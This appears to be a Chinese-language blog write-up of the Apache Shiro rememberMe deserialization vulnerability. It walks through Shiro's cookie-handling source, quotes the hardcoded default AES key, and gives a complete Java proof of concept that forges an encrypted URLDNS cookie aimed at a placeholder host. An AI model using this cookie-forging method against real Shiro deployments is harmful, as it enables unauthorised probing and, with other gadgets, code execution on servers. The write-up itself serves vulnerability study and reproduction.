分析
漏洞产生于传递给网站的rememberMe
这个Cookie
,通过构造恶意Cookie
,可以让Shiro
反序列化出恶意代码。所以看下Shiro
是怎么处理Cookie
的
shiro如何重新读取用户状态
shiro默认会把subject存在当前线程中,如果没有,则会去创建建一个
1
2
3
4
5
6
7
| public Subject createSubject(SubjectContext subjectContext) {
...
//Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
//if possible before handing off to the SubjectFactory:
context = resolvePrincipals(context);
...
}
|
看注释的意思是resolvePrincipals
处理了rememberMe
,那就跟进去
1
2
3
4
5
6
7
8
9
10
11
| protected SubjectContext resolvePrincipals(SubjectContext context) {
PrincipalCollection principals = context.resolvePrincipals();
if (CollectionUtils.isEmpty(principals)) {
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");
principals = getRememberedIdentity(context);
...
}
|
默认会把subject
保存在session
中(也会有缓存或者自己写的存储机制等),如果没有,它就会去getRememberedIdentity()
方法中获取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}
|
获取到RememberMeManager
后对内容进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
|
获取到序列化的内容后,进行反序列化
1
2
3
4
5
6
| protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
|
先对字节码进行解密
1
2
3
4
5
6
7
8
9
| protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
|
通过查找当前文件,发现是aes加密
1
2
3
4
5
6
7
| private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
...
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
|
接下来就开始反序列化了
1
2
3
| protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
|
整个流程就是读取 cookie -> base64 解码 -> AES 解密 -> 反序列化
复现
因为没有添加其他依赖,就用ysoserial
里的URLDNS
来判断是否成功反序列化
poc,懒得编译ysoserial
就抄了代码,不得不说真香
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
| import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import com.nqzero.permit.Permit;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Test {
public static void main(String[] args) throws Exception {
byte[] bytes = null;
Base64 B64 = new Base64();
byte[] key = B64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService cipherService = new AesCipherService();
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
String url = "http://shiro.example.com";
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url);
setFieldValue(u, "hashCode", -1);
bytes = getBytes(ht);
ByteSource byteSource = cipherService.encrypt(bytes, key);
byte[] value = byteSource.getBytes();
System.out.println(new String(B64.encode(value)));
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
private static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
}
private static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
static byte[] getBytes(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = null;
ObjectOutputStream objectOutputStream = null;
byteArrayOutputStream = new ByteArrayOutputStream();
objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
return byteArrayOutputStream.toByteArray();
}
}
|
启动Shiro
,添加Cookie
刷新一下,dnslog上就收到了
锵锵
参考
https://lightless.me/archives/java-unserialization-apache-shiro.html
https://blog.zsxsoft.com/post/35
https://juejin.im/post/5cbd28c2e51d456e2c24852a